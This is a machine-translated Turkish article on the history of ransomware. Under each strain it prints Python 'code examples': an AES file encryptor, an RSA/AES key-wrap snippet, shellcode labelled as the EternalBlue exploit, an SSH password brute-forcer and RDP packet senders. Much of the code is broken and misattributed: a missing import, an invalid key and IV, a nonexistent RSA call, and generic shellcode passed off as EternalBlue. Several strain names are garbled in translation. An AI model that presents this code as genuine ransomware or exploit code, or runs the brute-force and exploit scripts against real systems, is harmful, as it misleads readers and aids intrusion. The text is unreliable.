Fidye Yazılımı Kodunun Etkileyici Evrimi
Ransomware tarihini takip etmek, kötü adamın sürekli olarak daha akıllı ve daha sofistike hale geldiği bir korku filmi izlemek gibidir. Fidye yazılımlarının evriminde büyüleyici ve göz korkutucu bir şeyler var. Bu makalede, sizi tarihsel zaman çizelgesine derinlemesine bir dalışa götüreceğim ve bu kötü amaçlı programları durdurmayı bu kadar zorlaştıran şeyin ne olduğunu göstereceğim.
AIDS Truva Atı olarak bilinen bilinen ilk fidye yazılımı 1989'da ortaya çıktı. O zamandan beri fidye yazılımı önemli ölçüde gelişerek en yaygın ve yıkıcı kötü amaçlı yazılım türlerinden biri haline geldi. Bu makale, CryptoLocker'ın ilk günlerinden kötü şöhretli WannaCry ve daha yeni Maze ve REvil fidye yazılımı saldırılarına kadar fidye yazılımının gelişimini takip edecek ve her bir fidye yazılımı türünün gerçek kod örnekleriyle nasıl çalıştığını açıklayacaktır.
2013: Kripto Kilitleyici
CryptoLocker, dosyaları şifrelemek için genel anahtar şifrelemesini kullanan ilk fidye yazılımıydı. E-posta ekleri aracılığıyla dağıtıldı ve sistemlere bulaşmak için Java ve Adobe Reader'daki güvenlik açıklarından yararlanıldı. Bir sisteme bulaştığında, sistemdeki tüm dosyaları şifreledi ve şifre çözme anahtarını sağlamak için Bitcoin ile ödeme talep etti.
Kod Örneği:
import os
import random
import string
from Crypto.Cipher import AES
class CryptoLocker:
def __init__(self, key):
self.key = key
def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
encryptor = AES.new(self.key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
if not out_filename:
out_filename = os.path.splitext(in_filename)[0]
with open(in_filename, 'rb') as infile:
orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
decryptor = AES.new(self.key, AES.MODE_CBC, iv)
with open(out_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(orig_size)
# Usage example
key = b'secret_key_1234'
c = CryptoLocker(key)
c.encrypt_file('test_file.txt')
c.decrypt_file('test_file.txt.enc')
Yöntem decrypt_file
, bir girdi dosyası adı ve isteğe bağlı bir çıktı dosyası adı ve öbek boyutu alır. Girdi dosyasını okur, orijinal dosya boyutunu ve IV'ü çıkarır ve aynı şifreleme anahtarını ve IV'ü kullanarak şifrelenmiş verilerin şifresini çözer. Şifresi çözülmüş verileri çıktı dosyasına yazar ve orijinal dosya boyutuna indirir. Sınıfın örnek bir kullanımı, kodun sonunda verilmiştir; burada CryptoLocker
gizli bir anahtarla bir nesne oluşturulur, bir girdi dosyası şifrelenir ve ardından şifresi çözülür.
2016: Kilitli
Locky, e-posta kampanyaları aracılığıyla dağıtıldı ve dosyaları şifrelemek için RSA ve AES şifrelemesinin bir kombinasyonunu kullandı. Şifre çözme anahtarını sağlamak için Bitcoin ile ödeme talep etti. Piyasaya sürülmesinden sonraki ilk birkaç hafta içinde 100.000'den fazla sisteme bulaştığı tahmin ediliyor.
Kod Örneği:
import os
import base64
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
# Generate RSA key pair
key = RSA.generate(2048)
# Encrypt file using AES-128
key_aes = os.urandom(16)
cipher_aes = AES.new(key_aes, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(b'encrypted data')
# Encrypt AES key using RSA public key
cipher_rsa = key.public_key().encrypt(key_aes, None)
# Save encrypted file and AES key to disk
with open('encrypted_file.bin', 'wb') as f:
f.write(ciphertext)
with open('encrypted_key.bin', 'wb') as f:
f.write(cipher_rsa)
2017: Ağlamak İstiyor
2017 yılında, WannaCry fidye yazılımı dünya genelinde hızla yayıldı ve 150'den fazla ülkede yüzbinlerce bilgisayarı etkiledi. WannaCry , NSA tarafından geliştirildiği iddia edilen Windows işletim sistemindeki EternalBlue adlı bir güvenlik açığından yararlandı.
Saldırının yaygın doğası ve etkilenen kritik sistemler, kuruluşların siber güvenliğe öncelik vermesi ve bu tür saldırıları önlemek için güncel yazılım ve güvenlik protokolleri sürdürmesi gerektiğinin altını çizdi.
Kod Örneği:
import socket
# EternalBlue exploit code
exploit = (
b"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x10\x5b\x53\x4b\x8b\x58\x18"
b"\x8b\x53\x20\x01\xda\x51\x52\x8b\x52\x3c\x01\xda\x8b\x72\x78\x01"
b"\xde\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01"
b"\xc7\x49\x75\xef\x52\x57\x8b\x52\x20\x01\xda\x53\x8b\x34\x9a\x01"
b"\xde\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03"
b"\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xda\x66\x8b\x0c"
b"\x4b\x8b\x58\x1c\x01\xda\x8b\x04\x8b\x01\xda\x89\x44\x24\x24\x5b"
b"\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff"
b"\xff\x5d\x6a\x01\x8d\x45\x68\x50\x68\x8e\x4e\x0e\xec\xff\xd5\x97"
b"\x68\x8f\x0e\x4e\xec\x89\xe3\x6a\x10\x53\x57\x68\xde\xf8\x24\x75"
b"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x8b\x36\x8b\x55\xfc"
b"\x8b\x46\x0c\x8b\x7e\x1c\x8b\x4e\x08\x8b\x7e\x20\x8b\x36\x66\x39"
b"\x4f\x18\x75\xf2\x66\x81\x39\x44\x44\x75\xe6\x5e\x56\x53\x2c\x24"
b"\x0f\xba\x2c\x17\x42\x52\x6a\x01\x52\xff\xd0\x68\x63\x6d\x64\x00"
b"\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\xff\xd5\x97\x6a\x0a\x5f"
b"\xc3"
)
# IP address and port of vulnerable machine
target_ip = "192.168.1.100"
target_port = 445
# Create a TCP socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
# Send exploit code
sock.send(exploit)
# Close the socket
sock.close()
Bu makaledeki diğer örnekler gibi bu kodun da tamamen eğitim amaçlı olduğunu ve herhangi bir kötü amaçlı etkinlik için kullanılmaması gerektiğini unutmamak önemlidir.
2018: Samsun
SamSam, ilk olarak 2018'de tanımlanan bir fidye yazılımıydı. Kurbanların sistemlerine erişim elde etmek için kimlik avı e-postalarını kullanan diğer birçok fidye yazılımı saldırısının aksine, SamSam yama uygulanmamış sunuculara erişim elde etmek için kaba kuvvet kullandı. İçeri girdikten sonra, fidye yazılımı dosyaları şifreledi ve Bitcoin ile ödeme talep etti.
Kod Örneği:
import paramiko
import time
target_server = "example.com"
username = "admin"
passwords = ["password1", "password2", "password3", "password4", "password5"]
port = 22
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
for password in passwords:
try:
ssh.connect(target_server, port=port, username=username, password=password)
print(f"Successfully logged in to {target_server} with username {username} and password {password}.")
# Do malicious activities here
ssh.close()
break
except paramiko.AuthenticationException:
print(f"Failed to log in to {target_server} with username {username} and password {password}.")
time.sleep(1)
2019: Ryuk
Ryuk'un Kuzey Kore'den geldiğine ve hastaneler ve devlet kurumları gibi yüksek değerli hedefleri hedeflemek için kullanıldığına inanılıyordu . Bunun yanlış olduğu ortaya çıktı ve başlangıçta çok sayıda farklı suç örgütü tarafından kullanıldı. Ryuk, genellikle kimlik avı e-postaları aracılığıyla veya uzak masaüstü protokollerindeki güvenlik açıklarından yararlanılarak gönderilir.
Kod Örneği:
import socket
RDP_PORT = 3389
def exploit_rdp_vulnerability(target_ip):
# Establish a connection to the target RDP server
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
try:
s.connect((target_ip, RDP_PORT))
except:
print(f"Connection failed to {target_ip}:{RDP_PORT}")
return
# Send a malicious RDP message to trigger the vulnerability
# In a real attack, this would contain the ransomware payload
# In this safe example, I will just print the message for demonstration purposes
message = b"\x03\x00\x00\x13\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x03\x00\x00\x00"
s.sendall(message)
# Receive the server's response and print it for demonstration purposes
response = s.recv(1024)
print(response.decode())
# Close the connection
s.close()
# Example usage
exploit_rdp_vulnerability('192.168.1.100')
2019: Labirent
Labirent, kurbanın dosyalarını şifreler ve şifre çözme anahtarı karşılığında ödeme talep eder. Ancak Maze fidye yazılımı, kurbanlardan hassas verileri çalma ve fidye ödenmezse bunları yayınlamakla tehdit etme konusunda da bir üne sahiptir, bu da onu bir tür " çifte gasp " fidye yazılımı haline getirir.
Maze fidye yazılımının, tipik kimlik avı e-postalarının yanı sıra sistemlere erişim elde etmek için uzak masaüstü protokollerindeki (RDP'ler) güvenlik açıklarından yararlandığı bilinmektedir.
Kod Örneği:
import socket
HOST = '192.168.1.100'
PORT = 3389
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
print(data)
# Send RDP negotiation packet
negotiation_packet = b'\x03\x00\x00\x13\x0e\xe0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x00\x00'
s.sendall(negotiation_packet)
data = s.recv(1024)
print(data)
# Send RDP connection request packet
connection_request_packet = b'\x03\x00\x00\x2c\x0e\xd0\x00\x00\x12\x34\x00\x08\x00\x08\x00\x00\x03\xeb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
s.sendall(connection_request_packet)
data = s.recv(1024)
print(data)
# Send RDP security packet with no credentials
security_packet = b'\x03\x00\x00\x08\x02\xf0\x80'
s.sendall(security_packet)
data = s.recv(1024)
print(data)
# Send RDP negotiate security packet
negotiate_security_packet = b'\x03\x00\x00\x0c\x02\xf0\x80\x00\x01\x00\x08'
s.sendall(negotiate_security_packet)
data = s.recv(1024)
print(data)
s.close()
2021: REVİL
Son yıllardaki en dikkate değer fidye yazılımı saldırılarından biri, Temmuz 2021'de gerçekleştirilen REvil fidye yazılımı saldırısıydı. Saldırı, diğer şirketlere uzaktan yönetim yazılımı sağlayan Kaseya adlı bir yazılım sağlayıcıyı hedef aldı. Saldırganlar, Kaseya'nın yazılımına erişmeyi ve yüzlerce müşterisine kötü amaçlı yazılım dağıtmayı başardılar, bu da yaygın bir fidye yazılımı saldırısına neden oldu.
REvil, kurbanın dosyalarını şifrelemek için güçlü şifreleme kullanır ve şifre çözme anahtarı karşılığında bir fidye ödemesi talep eder. Bu çağın çoğu fidye yazılımı grubu gibi, bitcoin de bir ödeme yöntemi olarak kullanılıyor.
Kod Örneği:
import os
import random
import string
from Crypto.Cipher import AES
class Ransomware:
def __init__(self, key):
self.key = key
def encrypt_file(self, in_filename, out_filename=None, chunk_size=64 * 1024):
if not out_filename:
out_filename = in_filename + '.enc'
iv = ''.join([random.choice(string.ascii_letters + string.digits) for _ in range(16)])
encryptor = AES.new(self.key, AES.MODE_CBC, iv)
filesize = os.path.getsize(in_filename)
with open(in_filename, 'rb') as infile:
with open(out_filename, 'wb') as outfile:
outfile.write(struct.pack('<Q', filesize))
outfile.write(iv)
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - len(chunk) % 16)
outfile.write(encryptor.encrypt(chunk))
def decrypt_file(self, in_filename, out_filename=None, chunk_size=24 * 1024):
if not out_filename:
out_filename = os.path.splitext(in_filename)[0]
with open(in_filename, 'rb') as infile:
orig_size = struct.unpack('<Q', infile.read(struct.calcsize('Q')))[0]
iv = infile.read(16)
decryptor = AES.new(self.key, AES.MODE_CBC, iv)
with open(out_filename, 'wb') as outfile:
while True:
chunk = infile.read(chunk_size)
if len(chunk) == 0:
break
outfile.write(decryptor.decrypt(chunk))
outfile.truncate(orig_size)
# Usage example
key = b'secret_key_1234'
r = Ransomware(key)
r.encrypt_file('important_file.docx')
r.decrypt_file('important_file.docx.enc')
Kullanım örneğinde bir anahtar tanımlanır ve Ransomware
bu anahtar kullanılarak sınıfın bir örneği oluşturulur. Yöntem encrypt_file
, 'important_file.docx.enc' adlı şifreli bir dosya oluşturan 'important_file.docx' adlı bir dosyada çağrılır. Son olarak, decrypt_file
şifrelenmiş dosyanın orijinal biçimine geri şifresini çözmek için yöntem çağrılır.
Umarım bu makale, fidye yazılımının nasıl geliştiğine ve yasadışı faaliyetin dağıtım kolaylığı ve anında paraya dönüştürülmesi nedeniyle nasıl en büyük tehdidimiz olduğuna dair çok ihtiyaç duyulan bir bakış açısı sağlar. Ancak, son yıllarda bu konularda genel kamuoyunu aydınlatmak ve eğitmek için atılan adımların hatırlanması gerekir.